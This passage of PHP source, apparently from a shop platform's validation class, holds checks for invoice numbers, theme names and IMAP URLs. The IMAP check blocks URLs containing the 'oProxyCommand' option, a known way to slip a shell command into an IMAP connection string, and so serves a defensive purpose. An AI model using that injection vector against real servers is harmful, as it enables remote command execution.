isOrderInvoiceNumber($id) { return preg_match('/^(?:' . Configuration::get('PS_INVOICE_PREFIX', Context::getContext()->language->id) . ')\s*([0-9]+)$/i', $id); } public static function isThemeName($theme_name) { return (bool) preg_match('/^[\w-]{3,255}$/u', $theme_name); } /** * Check if enable_insecure_rsh exists in * this PHP version otherwise disable the * oProxyCommand option. * * @return bool */ public static function isValidImapUrl($imapUrl) { if (false === ini_get('imap.enable_insecure_rsh')) { return preg_match('~^((?!oProxyCommand).)*$~i', $imapUrl); } return true; } }
Close